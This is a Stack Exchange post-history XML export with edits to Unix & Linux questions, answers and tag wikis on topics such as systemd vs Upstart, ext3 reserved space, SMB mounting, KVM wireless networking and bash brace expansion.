  <row Id="18714" PostHistoryTypeId="5" PostId="5877" RevisionGUID="7d00065a-3513-4528-bcb7-7e6bca52308d" CreationDate="2011-02-24T14:55:58.583" UserId="688" Comment="deleted 31 characters in body; edited tags" Text="It appears [systemd][1] is the hot new [init][2] system on the block, same as [Upstart][3] was a few years ago. What are the pros/cons for each? Also,  how does each compare to other init systems?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://freedesktop.org/wiki/Software/systemd&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/Init&#xD;&#xA;  [3]: http://upstart.ubuntu.com/" />
  <row Id="18715" PostHistoryTypeId="6" PostId="5877" RevisionGUID="7d00065a-3513-4528-bcb7-7e6bca52308d" CreationDate="2011-02-24T14:55:58.583" UserId="688" Comment="deleted 31 characters in body; edited tags" Text="éinitàéupstartàésystemdà" />
  <row Id="18716" PostHistoryTypeId="2" PostId="7965" RevisionGUID="9bdbc23f-658c-400c-8b56-00200afc3a35" CreationDate="2011-02-24T15:02:10.280" UserId="2511" Text="Saving space for important root processes (and possible rescue actions) is one reason.&#xD;&#xA;&#xD;&#xA;But there's another. Ext3 is pretty good at avoiding filesystem fragmentation, but once you get above about 95% full, that behavior falls off the cliff, and suddenly filesystem performance becomes a mess. So leaving 5% reserved gives you a buffer against this.&#xD;&#xA;&#xD;&#xA;Ext4 should be better at this, as [explained by Linux filesystem developer/guru Theodore Ts'o][1]:&#xD;&#xA;&#xD;&#xA;&gt; If you set the reserved block count to&#xD;&#xA;&gt; zero, it won't affect performance much&#xD;&#xA;&gt; except if you run for long periods of&#xD;&#xA;&gt; time (with lots of file creates and&#xD;&#xA;&gt; deletes) while the filesystem is&#xD;&#xA;&gt; almost full (i.e., say above 95%), at&#xD;&#xA;&gt; which point you'll be subject to&#xD;&#xA;&gt; fragmentation problems.  Ext4's&#xD;&#xA;&gt; multi-block allocator is much more&#xD;&#xA;&gt; fragmentation resistant, because it&#xD;&#xA;&gt; tries much harder to find contiguous&#xD;&#xA;&gt; blocks, so even if you don't enable&#xD;&#xA;&gt; the other ext4 features, you'll see&#xD;&#xA;&gt; better results simply mounting an ext3&#xD;&#xA;&gt; filesystem using ext4 before the&#xD;&#xA;&gt; filesystem gets completely full.&#xD;&#xA;&gt; &#xD;&#xA;&gt; If you are just using the filesystem&#xD;&#xA;&gt; for long-term archive, where files&#xD;&#xA;&gt; aren't changing very often (i.e., a&#xD;&#xA;&gt; huge mp3 or video store), it obviously&#xD;&#xA;&gt; won't matter.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.redhat.com/archives/ext3-users/2009-January/msg00026.html" />
  <row Id="18717" PostHistoryTypeId="2" PostId="7966" RevisionGUID="b1edf8e0-e49b-44d1-b802-8bcc2006c7fa" CreationDate="2011-02-24T15:02:51.060" UserId="4667" Text="You could use a zsh function instead of an alias. No quoting hoops to jump through.&#xD;&#xA;&#xD;&#xA;    striplines() {&#xD;&#xA;        awk '... awk body &quot;with quotes&quot; ...' &quot;$@&quot;&#xD;&#xA;    }" />
  <row Id="18718" PostHistoryTypeId="5" PostId="7916" RevisionGUID="03532ec0-615c-48a0-89f7-56266e221dd6" CreationDate="2011-02-24T15:19:43.357" UserId="3635" Comment="Marked up URL's, minor grammatical change" Text="I am attempting to mount a password protected network share from a NAS unit that works by appearing as a windows share. On Windows, I just Map Network Drive, and enter in `\\x.x.x.x\ShareName`, then enter a password at the prompt.&#xD;&#xA;&#xD;&#xA;On my Linux system, when I attempt to open `smb://x.x.x.x/ServerName`, I get a prompt for password __and domain__. As far as I know, since my share is set up as a workgroup, I do not have a domain. What should I enter here or do to mount this share?" />
  <row Id="18719" PostHistoryTypeId="24" PostId="7916" RevisionGUID="03532ec0-615c-48a0-89f7-56266e221dd6" CreationDate="2011-02-24T15:19:43.357" Comment="Proposed by 3635 approved by 73 edit id of 51" />
  <row Id="18720" PostHistoryTypeId="2" PostId="7967" RevisionGUID="aa00f499-73d1-4a93-85ab-821d60cbdaf2" CreationDate="2011-02-24T15:25:40.750" UserId="5075" Text="hi,&#xD;&#xA;&#xD;&#xA;because the wireless network adapter does not support bridging, it is really difficult to get the guest vm connect to the open internet and having an ip in the same network as the host. i am using ubuntu 10.10, and the kvm version does not support vde, so it becomes even more difficult...&#xD;&#xA;&#xD;&#xA;i hope someone can find a solution for me.&#xD;&#xA;&#xD;&#xA;thanks!" />
  <row Id="18721" PostHistoryTypeId="1" PostId="7967" RevisionGUID="aa00f499-73d1-4a93-85ab-821d60cbdaf2" CreationDate="2011-02-24T15:25:40.750" UserId="5075" Text="how to connect kvm guest vm to internet wth wireless?" />
  <row Id="18722" PostHistoryTypeId="3" PostId="7967" RevisionGUID="aa00f499-73d1-4a93-85ab-821d60cbdaf2" CreationDate="2011-02-24T15:25:40.750" UserId="5075" Text="éubuntuàénetworkingàéwirelessàékvmà" />
  <row Id="18723" PostHistoryTypeId="5" PostId="7967" RevisionGUID="f95eef95-7abc-4b12-98cb-72b475c259d5" CreationDate="2011-02-24T15:32:07.243" UserId="3635" Comment="Fixed spelling in title" Text="Hi,&#xD;&#xA;&#xD;&#xA;Because my wireless network adapter does not support bridging, it is really difficult to get the guest vm connect to the open internet and have an IP address in the same network as the host. I am using ubuntu 10.10, and the kvm version does not support vde, so it becomes even more difficult...&#xD;&#xA;&#xD;&#xA;I hope someone can find a solution for me.&#xD;&#xA;&#xD;&#xA;Thanks!" />
  <row Id="18724" PostHistoryTypeId="4" PostId="7967" RevisionGUID="f95eef95-7abc-4b12-98cb-72b475c259d5" CreationDate="2011-02-24T15:32:07.243" UserId="3635" Comment="Fixed spelling in title" Text="how to connect kvm guest vm to internet with wireless?" />
  <row Id="18725" PostHistoryTypeId="24" PostId="7967" RevisionGUID="f95eef95-7abc-4b12-98cb-72b475c259d5" CreationDate="2011-02-24T15:32:07.243" Comment="Proposed by 3635 approved by -1 edit id of 52" />
  <row Id="18726" PostHistoryTypeId="5" PostId="7967" RevisionGUID="0d63ae14-1203-46a0-9666-436682286350" CreationDate="2011-02-24T15:32:07.507" UserId="73" Comment="deleted 44 characters in body" Text="Because my wireless network adapter does not support bridging, it is really difficult to get the guest vm connect to the open internet and have an IP address in the same network as the host. I am using ubuntu 10.10, and the kvm version does not support vde, so it becomes even more difficult. How can I fix that?&#xD;&#xA;" />
  <row Id="18727" PostHistoryTypeId="5" PostId="7960" RevisionGUID="d18e3289-20a7-478a-b102-31af28abec02" CreationDate="2011-02-24T15:33:07.350" UserId="73" Comment="deleted 7 characters in body" Text="What's the origin of root account? Where did it come from and why is it called root anyway?&#xD;&#xA;&#xD;&#xA;&lt;sub&gt;(Originally asked by @lizztheblizz on Twitter.)&lt;/sub&gt;&#xD;&#xA;" />
  <row Id="18728" PostHistoryTypeId="2" PostId="7968" RevisionGUID="e6153278-9f1d-415f-89c5-770621e54fdf" CreationDate="2011-02-24T15:34:07.783" UserId="-1" Text="" />
  <row Id="18729" PostHistoryTypeId="2" PostId="7969" RevisionGUID="b7d9d15c-1d67-4960-a6e2-b58747873fa1" CreationDate="2011-02-24T15:34:07.783" UserId="-1" Text="" />
  <row Id="18730" PostHistoryTypeId="5" PostId="7969" RevisionGUID="c3e70356-1019-40a8-aea2-f172d5a38582" CreationDate="2011-02-24T15:35:07.690" UserId="3635" Comment="added 134 characters in body" Text="Screen is a full-screen window manager that multiplexes a physical terminal between several processes (typically interactive shells). " />
  <row Id="18731" PostHistoryTypeId="24" PostId="7969" RevisionGUID="c3e70356-1019-40a8-aea2-f172d5a38582" CreationDate="2011-02-24T15:35:07.690" Comment="Proposed by 3635 approved by 73 edit id of 54" />
  <row Id="18732" PostHistoryTypeId="5" PostId="7968" RevisionGUID="312c3eec-6e1e-445c-88d3-c5d36a2d5e0d" CreationDate="2011-02-24T15:35:10.530" UserId="3635" Comment="added 100 characters in body" Text="For more information, see the [screen man page][1]. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://linux.die.net/man/1/screen" />
  <row Id="18733" PostHistoryTypeId="24" PostId="7968" RevisionGUID="312c3eec-6e1e-445c-88d3-c5d36a2d5e0d" CreationDate="2011-02-24T15:35:10.530" Comment="Proposed by 3635 approved by 73 edit id of 53" />
  <row Id="18734" PostHistoryTypeId="2" PostId="7970" RevisionGUID="595d6eb9-354b-4fb4-a46d-809b2ab29799" CreationDate="2011-02-24T15:36:21.607" UserId="-1" Text="" />
  <row Id="18735" PostHistoryTypeId="2" PostId="7971" RevisionGUID="04cad408-b7f7-4f29-aab6-cc198c2e3d99" CreationDate="2011-02-24T15:36:21.607" UserId="-1" Text="" />
  <row Id="18736" PostHistoryTypeId="5" PostId="7971" RevisionGUID="9ba9bd60-457c-4ae0-a856-8a784ee1369f" CreationDate="2011-02-24T15:37:07.283" UserId="3635" Comment="added 67 characters in body" Text="The &quot;root&quot; account is the most privileged account on a Unix system." />
  <row Id="18737" PostHistoryTypeId="24" PostId="7971" RevisionGUID="9ba9bd60-457c-4ae0-a856-8a784ee1369f" CreationDate="2011-02-24T15:37:07.283" Comment="Proposed by 3635 approved by 73 edit id of 56" />
  <row Id="18738" PostHistoryTypeId="5" PostId="7970" RevisionGUID="ed4dbd7d-cfa2-40cd-98f1-73ce3f5676fa" CreationDate="2011-02-24T15:37:10.013" UserId="3635" Comment="added 1213 characters in body" Text="The &quot;root&quot; account is the most privileged account on a Unix system. This account gives you the ability to carry out all facets of system administration, including adding accounts, changing user passwords, examining log files, installing software, etc.&#xD;&#xA;&#xD;&#xA;When using this account it is crucial to be as careful as possible. The &quot;root&quot; account has no security restrictions imposed upon it. This means it is easy to perform administrative duties without hassle. However, the system assumes you know what you are doing, and will do exactly what you request -- no questions asked. Therefore it is easy, with a mistyped command, to wipe out crucial system files.&#xD;&#xA;&#xD;&#xA;When you are signed in as, or acting as &quot;root&quot;, the shell prompt displays '#' as the last character (if you are using bash). This is to serve as a warning to you of the absolute power of this account.&#xD;&#xA;&#xD;&#xA;The rule of thumb is, never sign in as &quot;root&quot; unless absolutely necessary. While &quot;root&quot;, type commands carefully and double-check them before pressing return. Sign off from the &quot;root&quot; account as soon as you have accomplished the task you signed on for. Finally, (as with any account but especially important with this one), keep the password secure!" />
  <row Id="18739" PostHistoryTypeId="24" PostId="7970" RevisionGUID="ed4dbd7d-cfa2-40cd-98f1-73ce3f5676fa" CreationDate="2011-02-24T15:37:10.013" Comment="Proposed by 3635 approved by 73 edit id of 55" />
  <row Id="18740" PostHistoryTypeId="2" PostId="7972" RevisionGUID="5ff10434-dfc4-4a0b-8ea3-fc450924e3aa" CreationDate="2011-02-24T15:37:22.370" UserId="-1" Text="" />
  <row Id="18741" PostHistoryTypeId="2" PostId="7973" RevisionGUID="3f905831-b094-4a39-ac1a-cf07da469d2e" CreationDate="2011-02-24T15:37:22.370" UserId="-1" Text="" />
  <row Id="18742" PostHistoryTypeId="5" PostId="7973" RevisionGUID="1d0451c2-a364-4c1a-bde4-50ba0baa3fe9" CreationDate="2011-02-24T15:37:49.187" UserId="3635" Comment="added 271 characters in body" Text="tmux is a terminal multiplexer: it enables a number of terminals (or windows), each running a separate program, to be created, accessed, and controlled from a single screen. tmux may be detached from a screen and continue running in the background, then later reattached." />
  <row Id="18743" PostHistoryTypeId="24" PostId="7973" RevisionGUID="1d0451c2-a364-4c1a-bde4-50ba0baa3fe9" CreationDate="2011-02-24T15:37:49.187" Comment="Proposed by 3635 approved by 73 edit id of 58" />
  <row Id="18744" PostHistoryTypeId="5" PostId="7972" RevisionGUID="06b24c90-98f4-48f9-a655-ea5357ec055f" CreationDate="2011-02-24T15:37:51.587" UserId="3635" Comment="added 54 characters in body" Text="For more information, see http://tmux.sourceforge.net/" />
  <row Id="18745" PostHistoryTypeId="24" PostId="7972" RevisionGUID="06b24c90-98f4-48f9-a655-ea5357ec055f" CreationDate="2011-02-24T15:37:51.587" Comment="Proposed by 3635 approved by 73 edit id of 57" />
  <row Id="18746" PostHistoryTypeId="2" PostId="7974" RevisionGUID="5cb5df45-b906-4f56-a571-cc052bddaf04" CreationDate="2011-02-24T15:38:51.497" UserId="-1" Text="" />
  <row Id="18747" PostHistoryTypeId="2" PostId="7975" RevisionGUID="7c71cca4-eeb8-40b8-8b0e-1711093af71b" CreationDate="2011-02-24T15:38:51.497" UserId="-1" Text="" />
  <row Id="18748" PostHistoryTypeId="5" PostId="7975" RevisionGUID="789fb3eb-bb89-4d48-85b2-b3f402aa7f48" CreationDate="2011-02-24T15:50:02.820" UserId="3635" Comment="added 120 characters in body" Text="Red Hat, Inc. is an S&amp;P 500 company in the free and open source software sector, and a major Linux distribution vendor. " />
  <row Id="18749" PostHistoryTypeId="24" PostId="7975" RevisionGUID="789fb3eb-bb89-4d48-85b2-b3f402aa7f48" CreationDate="2011-02-24T15:50:02.820" Comment="Proposed by 3635 approved by 73 edit id of 59" />
  <row Id="18750" PostHistoryTypeId="2" PostId="7976" RevisionGUID="54e4089d-4948-4ca6-bc1c-c3437a590238" CreationDate="2011-02-24T15:52:41.160" UserId="-1" Text="" />
  <row Id="18751" PostHistoryTypeId="2" PostId="7977" RevisionGUID="8da84bf9-307c-4c37-a243-336a97319104" CreationDate="2011-02-24T15:52:41.160" UserId="-1" Text="" />
  <row Id="18752" PostHistoryTypeId="2" PostId="7978" RevisionGUID="2e6b0daf-3b50-488e-813f-07fa224c92f4" CreationDate="2011-02-24T15:53:44.873" UserId="-1" Text="" />
  <row Id="18753" PostHistoryTypeId="2" PostId="7979" RevisionGUID="18a1c0d4-69ac-4475-aadd-5fc01a69bf9e" CreationDate="2011-02-24T15:53:44.873" UserId="-1" Text="" />
  <row Id="18754" PostHistoryTypeId="2" PostId="7980" RevisionGUID="904d3ce8-0c95-4fa6-ace8-6b3c4a4bc93e" CreationDate="2011-02-24T16:00:05.620" UserId="659" Text="The [Matroska (mkv) container format][1] supports text-based subtitles embedded as a separate stream into the file.&#xD;&#xA;&#xD;&#xA;You could use [mkvmerge][2] to remux the file to .mkv and include the subtitles in the output, which you can enable/disable when playing the video. Note that this method will NOT re-encode the video or audio, it's just putting the same data into a different container format, so it will not decrease the quality of the video.&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.matroska.org/&#xD;&#xA;  [2]: http://www.bunkus.org/videotools/mkvtoolnix/doc/mkvmerge.html" />
  <row Id="18755" PostHistoryTypeId="2" PostId="7981" RevisionGUID="1b8c341b-5758-47ce-9159-c068ef532b48" CreationDate="2011-02-24T16:05:00.593" UserId="-1" Text="" />
  <row Id="18756" PostHistoryTypeId="2" PostId="7982" RevisionGUID="e3324bb8-c0f7-4821-9729-f83fad31f9be" CreationDate="2011-02-24T16:05:00.593" UserId="-1" Text="" />
  <row Id="18757" PostHistoryTypeId="2" PostId="7983" RevisionGUID="39ded224-3648-41f3-85b9-c65e1ffcfdd9" CreationDate="2011-02-24T16:06:42.950" UserId="-1" Text="" />
  <row Id="18758" PostHistoryTypeId="2" PostId="7984" RevisionGUID="4c7ab48c-df4b-4ce2-9635-93e1830bf01f" CreationDate="2011-02-24T16:06:42.950" UserId="-1" Text="" />
  <row Id="18759" PostHistoryTypeId="2" PostId="7985" RevisionGUID="12cab20b-5c5c-448d-943f-149be8c986f0" CreationDate="2011-02-24T16:10:47.753" UserId="-1" Text="" />
  <row Id="18760" PostHistoryTypeId="2" PostId="7986" RevisionGUID="338024b2-2608-4598-9b5f-e8896bd936a6" CreationDate="2011-02-24T16:10:47.753" UserId="-1" Text="" />
  <row Id="18761" PostHistoryTypeId="2" PostId="7987" RevisionGUID="0c84d944-f7e6-49f3-b893-e32d0b1b7246" CreationDate="2011-02-24T16:13:30.467" UserId="-1" Text="" />
  <row Id="18762" PostHistoryTypeId="2" PostId="7988" RevisionGUID="b38e2371-df16-49b5-9eee-e24e7bff6570" CreationDate="2011-02-24T16:13:30.467" UserId="-1" Text="" />
  <row Id="18763" PostHistoryTypeId="5" PostId="7977" RevisionGUID="cfc326b9-1c22-44e9-ab3d-b8601a2fc17f" CreationDate="2011-02-24T16:15:33.677" UserId="3635" Comment="added 132 characters in body" Text="Secure Copy or SCP is a means of securely transferring computer files between a local and a remote host or between two remote hosts." />
  <row Id="18764" PostHistoryTypeId="24" PostId="7977" RevisionGUID="cfc326b9-1c22-44e9-ab3d-b8601a2fc17f" CreationDate="2011-02-24T16:15:33.677" Comment="Proposed by 3635 approved by 73 edit id of 61" />
  <row Id="18765" PostHistoryTypeId="2" PostId="7989" RevisionGUID="c9370988-666b-434e-a223-3572019ae838" CreationDate="2011-02-24T16:17:04.863" UserId="-1" Text="" />
  <row Id="18766" PostHistoryTypeId="2" PostId="7990" RevisionGUID="369e55ef-ce61-4e5b-b5f1-ff2c75cbae87" CreationDate="2011-02-24T16:17:04.863" UserId="-1" Text="" />
  <row Id="18767" PostHistoryTypeId="5" PostId="7976" RevisionGUID="78ec50a6-bf53-4f07-b282-efe8f0679c36" CreationDate="2011-02-24T16:17:15.250" UserId="3635" Comment="added 168 characters in body" Text="SCP uses encryption based on the Secure Shell (SSH) protocol to securely transfer files between hosts. It is available in most Unix distributions via the `scp` command." />
  <row Id="18768" PostHistoryTypeId="24" PostId="7976" RevisionGUID="78ec50a6-bf53-4f07-b282-efe8f0679c36" CreationDate="2011-02-24T16:17:15.250" Comment="Proposed by 3635 approved by 73 edit id of 60" />
  <row Id="18769" PostHistoryTypeId="5" PostId="7984" RevisionGUID="d7a3cf71-ce1a-4fe9-830f-f8908679bd12" CreationDate="2011-02-24T16:17:17.233" UserId="3635" Comment="added 92 characters in body" Text="A computer network allows sharing of resources and information among interconnected devices." />
  <row Id="18770" PostHistoryTypeId="24" PostId="7984" RevisionGUID="d7a3cf71-ce1a-4fe9-830f-f8908679bd12" CreationDate="2011-02-24T16:17:17.233" Comment="Proposed by 3635 approved by 73 edit id of 66" />
  <row Id="18771" PostHistoryTypeId="5" PostId="7982" RevisionGUID="fe15c3c1-0c47-4548-a13a-b7d8fb41f625" CreationDate="2011-02-24T16:17:23.817" UserId="3635" Comment="added 119 characters in body" Text="A Graphical User Interface (or GUI) provides an image-based system to allow a user to interact with a computing device." />
  <row Id="18772" PostHistoryTypeId="24" PostId="7982" RevisionGUID="fe15c3c1-0c47-4548-a13a-b7d8fb41f625" CreationDate="2011-02-24T16:17:23.817" Comment="Proposed by 3635 approved by 73 edit id of 64" />
  <row Id="18773" PostHistoryTypeId="5" PostId="7986" RevisionGUID="f3dc3845-27ed-437b-9c29-9ffc6ead1bbc" CreationDate="2011-02-24T16:17:27.590" UserId="3635" Comment="added 40 characters in body" Text="GNOME: The Free Software Desktop Project" />
  <row Id="18774" PostHistoryTypeId="24" PostId="7986" RevisionGUID="f3dc3845-27ed-437b-9c29-9ffc6ead1bbc" CreationDate="2011-02-24T16:17:27.590" Comment="Proposed by 3635 approved by 73 edit id of 68" />
  <row Id="18775" PostHistoryTypeId="2" PostId="7991" RevisionGUID="f8790c51-af5f-4b76-bff1-f79f834d23d2" CreationDate="2011-02-24T16:19:35.470" UserId="-1" Text="" />
  <row Id="18776" PostHistoryTypeId="2" PostId="7992" RevisionGUID="caacbcb5-c1df-48d0-b8b1-7a809698f9b3" CreationDate="2011-02-24T16:19:35.470" UserId="-1" Text="" />
  <row Id="18777" PostHistoryTypeId="2" PostId="7993" RevisionGUID="44119d89-81b4-4a4e-8e32-9befc814e1e7" CreationDate="2011-02-24T16:22:10.743" UserId="-1" Text="" />
  <row Id="18778" PostHistoryTypeId="2" PostId="7994" RevisionGUID="6c6d6a3c-5d05-4d43-b7d0-4d6c20cd64c3" CreationDate="2011-02-24T16:22:10.743" UserId="-1" Text="" />
  <row Id="18779" PostHistoryTypeId="2" PostId="7995" RevisionGUID="63899853-b3d8-41c9-9d79-a2410e8245d8" CreationDate="2011-02-24T16:23:32.113" UserId="-1" Text="" />
  <row Id="18780" PostHistoryTypeId="2" PostId="7996" RevisionGUID="b8329337-cf0b-4cd6-87e1-417ac78dd5bf" CreationDate="2011-02-24T16:23:32.113" UserId="-1" Text="" />
  <row Id="18781" PostHistoryTypeId="5" PostId="7979" RevisionGUID="27b9ac3a-833d-4bc1-a5c8-1ccfe5862cd6" CreationDate="2011-02-24T16:29:35.407" UserId="3635" Comment="added 125 characters in body" Text="In computing, memory refers to the state information of a computing system, as it is kept active in some physical structure. " />
  <row Id="18782" PostHistoryTypeId="24" PostId="7979" RevisionGUID="27b9ac3a-833d-4bc1-a5c8-1ccfe5862cd6" CreationDate="2011-02-24T16:29:35.407" Comment="Proposed by 3635 approved by -1 edit id of 63" />
  <row Id="18783" PostHistoryTypeId="5" PostId="7979" RevisionGUID="f759d786-600a-4d49-9251-abf185b903e9" CreationDate="2011-02-24T16:29:35.547" UserId="73" Comment="added 67 characters in body" Text="From [Wikipedia](http://en.wikipedia.org/wiki/Computer_memory):&#xD;&#xA;&#xD;&#xA;In computing, memory refers to the state information of a computing system, as it is kept active in some physical structure. " />
  <row Id="18784" PostHistoryTypeId="5" PostId="7988" RevisionGUID="51d8e347-7ac3-4ea9-9911-a188f4c70ccc" CreationDate="2011-02-24T16:30:36.453" UserId="3635" Comment="added 118 characters in body" Text="Fedora is a Red Hat Community Project providing a free, fast, stable, and powerful operating system for everyday use. " />
  <row Id="18785" PostHistoryTypeId="24" PostId="7988" RevisionGUID="51d8e347-7ac3-4ea9-9911-a188f4c70ccc" CreationDate="2011-02-24T16:30:36.453" Comment="Proposed by 3635 approved by 73 edit id of 70" />
  <row Id="18786" PostHistoryTypeId="5" PostId="7985" RevisionGUID="3a5b1f0f-562e-4d60-b529-5068eb515e28" CreationDate="2011-02-24T16:30:47.730" UserId="3635" Comment="added 409 characters in body" Text="According to the [GNOME Website][1]:&#xD;&#xA;&#xD;&#xA;The GNOME project provides two things: The GNOME desktop environment, an intuitive and attractive desktop for users, and the GNOME development platform, an extensive framework for building applications that integrate into the rest of the desktop. You can learn more about how GNOME can work for you in our Why Choose GNOME? page.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.gnome.org/about/" />
  <row Id="18787" PostHistoryTypeId="24" PostId="7985" RevisionGUID="3a5b1f0f-562e-4d60-b529-5068eb515e28" CreationDate="2011-02-24T16:30:47.730" Comment="Proposed by 3635 approved by -1 edit id of 67" />
  <row Id="18788" PostHistoryTypeId="5" PostId="7985" RevisionGUID="f102b324-b90f-4f70-aa97-dd17ae3b720d" CreationDate="2011-02-24T16:30:47.997" UserId="73" Comment="deleted 84 characters in body" Text="According to the [GNOME Website][1]:&#xD;&#xA;&#xD;&#xA;The GNOME project provides two things: The GNOME desktop environment, an intuitive and attractive desktop for users, and the GNOME development platform, an extensive framework for building applications that integrate into the rest of the desktop. &#xD;&#xA;&#xD;&#xA;  [1]: http://www.gnome.org/about/" />
  <row Id="18789" PostHistoryTypeId="5" PostId="7994" RevisionGUID="7589262c-c532-4438-b853-84fa4541e084" CreationDate="2011-02-24T16:31:26.293" UserId="3635" Comment="added 72 characters in body" Text="Installing is the process of deploying a software package to a computer." />
  <row Id="18790" PostHistoryTypeId="24" PostId="7994" RevisionGUID="7589262c-c532-4438-b853-84fa4541e084" CreationDate="2011-02-24T16:31:26.293" Comment="Proposed by 3635 approved by 73 edit id of 75" />
  <row Id="18791" PostHistoryTypeId="5" PostId="7978" RevisionGUID="6a4f4dcd-d3c0-4f4f-9329-3793d4db9272" CreationDate="2011-02-24T16:32:53.970" UserId="3635" Comment="added 531 characters in body" Text="From [Wikipedia][1]:&#xD;&#xA;&#xD;&#xA;The term &quot;memory&quot; is used for the information in physical systems which are fast (i.e. RAM), as a distinction from physical systems which are slow to access (i.e. data storage). By design, the term &quot;memory&quot; refers to temporary state devices, whereas the term &quot;storage&quot; is reserved for permanent data. Advances in storage technology have blurred the distinction a bit —memory kept on what is conventionally a storage system is called &quot;virtual memory&quot;.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Computer_memory" />
  <row Id="18792" PostHistoryTypeId="24" PostId="7978" RevisionGUID="6a4f4dcd-d3c0-4f4f-9329-3793d4db9272" CreationDate="2011-02-24T16:32:53.970" Comment="Proposed by 3635 approved by 73 edit id of 62" />
  <row Id="18793" PostHistoryTypeId="2" PostId="7997" RevisionGUID="ea02c46a-2d17-4519-9978-9ad145e46e5a" CreationDate="2011-02-24T16:32:55.167" UserId="131" Text="Some answerer provided the right answer yesterday but deleted it, which I only saw in my inbox, so I can't tell who they are. The correct answer was to use the hostname of the NAS unit as the domain." />
  <row Id="18794" PostHistoryTypeId="5" PostId="7979" RevisionGUID="c1852c89-ad61-41df-973d-10bbc291a23c" CreationDate="2011-02-24T16:33:22.500" UserId="3635" Comment="deleted 67 characters in body" Text="In computing, memory refers to the state information of a computing system, as it is kept active in some physical structure. " />
  <row Id="18795" PostHistoryTypeId="24" PostId="7979" RevisionGUID="c1852c89-ad61-41df-973d-10bbc291a23c" CreationDate="2011-02-24T16:33:22.500" Comment="Proposed by 3635 approved by 73 edit id of 78" />
  <row Id="18796" PostHistoryTypeId="5" PostId="7995" RevisionGUID="9afaed12-cb7a-4d7a-8a47-1f1ca69fce90" CreationDate="2011-02-24T16:34:29.707" UserId="3635" Comment="added 360 characters in body" Text="Mac OS X is a series of Unix-based operating systems and graphical user interfaces developed, marketed, and sold by Apple Inc. Since 2002, Mac OS X has been included with all new Macintosh computer systems. It is the successor to Mac OS 9, released in 1999, the final release of the &quot;classic&quot; Mac OS, which had been Apple's primary operating system since 1984." />
  <row Id="18797" PostHistoryTypeId="24" PostId="7995" RevisionGUID="9afaed12-cb7a-4d7a-8a47-1f1ca69fce90" CreationDate="2011-02-24T16:34:29.707" Comment="Proposed by 3635 approved by 73 edit id of 76" />
  <row Id="18798" PostHistoryTypeId="5" PostId="7996" RevisionGUID="397f4345-c70e-4518-a6eb-c22e1d50747e" CreationDate="2011-02-24T16:34:32.173" UserId="3635" Comment="added 127 characters in body" Text="Mac OS X is a series of Unix-based operating systems and graphical user interfaces developed, marketed, and sold by Apple Inc. " />
  <row Id="18799" PostHistoryTypeId="24" PostId="7996" RevisionGUID="397f4345-c70e-4518-a6eb-c22e1d50747e" CreationDate="2011-02-24T16:34:32.173" Comment="Proposed by 3635 approved by 73 edit id of 77" />
  <row Id="18800" PostHistoryTypeId="5" PostId="7989" RevisionGUID="c27892b1-d327-46f7-b450-d0c87c4b889a" CreationDate="2011-02-24T16:34:36.120" UserId="3635" Comment="added 193 characters in body" Text="Shell scripting is often considered a simple domain-specific programming language. Typical operations performed by shell scripts include file manipulation, program execution, and printing text." />
  <row Id="18801" PostHistoryTypeId="24" PostId="7989" RevisionGUID="c27892b1-d327-46f7-b450-d0c87c4b889a" CreationDate="2011-02-24T16:34:36.120" Comment="Proposed by 3635 approved by 73 edit id of 71" />
  <row Id="18802" PostHistoryTypeId="5" PostId="7990" RevisionGUID="86110294-4825-4334-854b-a44541306cbf" CreationDate="2011-02-24T16:34:38.490" UserId="3635" Comment="added 103 characters in body" Text="A shell script is a script written for the shell, or command line interpreter, of an operating system. " />
  <row Id="18803" PostHistoryTypeId="24" PostId="7990" RevisionGUID="86110294-4825-4334-854b-a44541306cbf" CreationDate="2011-02-24T16:34:38.490" Comment="Proposed by 3635 approved by 73 edit id of 72" />
  <row Id="18804" PostHistoryTypeId="5" PostId="7991" RevisionGUID="fd849349-245c-4bed-bc70-268ccf885928" CreationDate="2011-02-24T16:34:43.013" UserId="3635" Comment="added 457 characters in body" Text="**Handling Signals**&#xD;&#xA;&#xD;&#xA;Each Unix signal has a default set of effects on a Unix program. Programmers can code their applications to respond in customized ways to most signals. These custom pieces of code are called signal handlers.&#xD;&#xA;&#xD;&#xA;Two signals are unable to be redefined by a signal handler. SIGKILL always stops a process and SIGSTOP always moves a process from the foreground to the background. These two signals cannot be &quot;caught&quot; by a signal handler." />
  <row Id="18805" PostHistoryTypeId="24" PostId="7991" RevisionGUID="fd849349-245c-4bed-bc70-268ccf885928" CreationDate="2011-02-24T16:34:43.013" Comment="Proposed by 3635 approved by 73 edit id of 73" />
  <row Id="18806" PostHistoryTypeId="5" PostId="7992" RevisionGUID="c1f7e90f-871d-496e-b9b2-599e3770ff9c" CreationDate="2011-02-24T16:34:45.933" UserId="3635" Comment="added 125 characters in body" Text="A signal is a message which can be sent to a running process. Signals can be initiated by programs, users, or administrators." />
  <row Id="18807" PostHistoryTypeId="24" PostId="7992" RevisionGUID="c1f7e90f-871d-496e-b9b2-599e3770ff9c" CreationDate="2011-02-24T16:34:45.933" Comment="Proposed by 3635 approved by 73 edit id of 74" />
  <row Id="18808" PostHistoryTypeId="2" PostId="7998" RevisionGUID="55db468b-8a20-4930-9b31-31c9db03f9e7" CreationDate="2011-02-24T16:34:50.643" UserId="591" Text="In response to a comment of mine to [this question][1] on SF the OP asserts that the &#xD;&#xA;&#xD;&#xA;    for i in {1..$NUM}&#xD;&#xA;&#xD;&#xA;expands correctly in bash. I have access to bash 4.0.33 (Ubuntu), 3.2.25 (Centos) and 3.00.16(1) (solaris 10). None of these will expand the {1..$NUM}. &#xD;&#xA;&#xD;&#xA;Does anyone know which versions of bash do the expansion? If it's not bash what is it ? I know zsh will do the expansion but in the OP's script the shebang should remove the possibility of an alias ?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://serverfault.com/q/239674/9517" />
  <row Id="18809" PostHistoryTypeId="1" PostId="7998" RevisionGUID="55db468b-8a20-4930-9b31-31c9db03f9e7" CreationDate="2011-02-24T16:34:50.643" UserId="591" Text="Bash expansion of {1..$VAR}" />
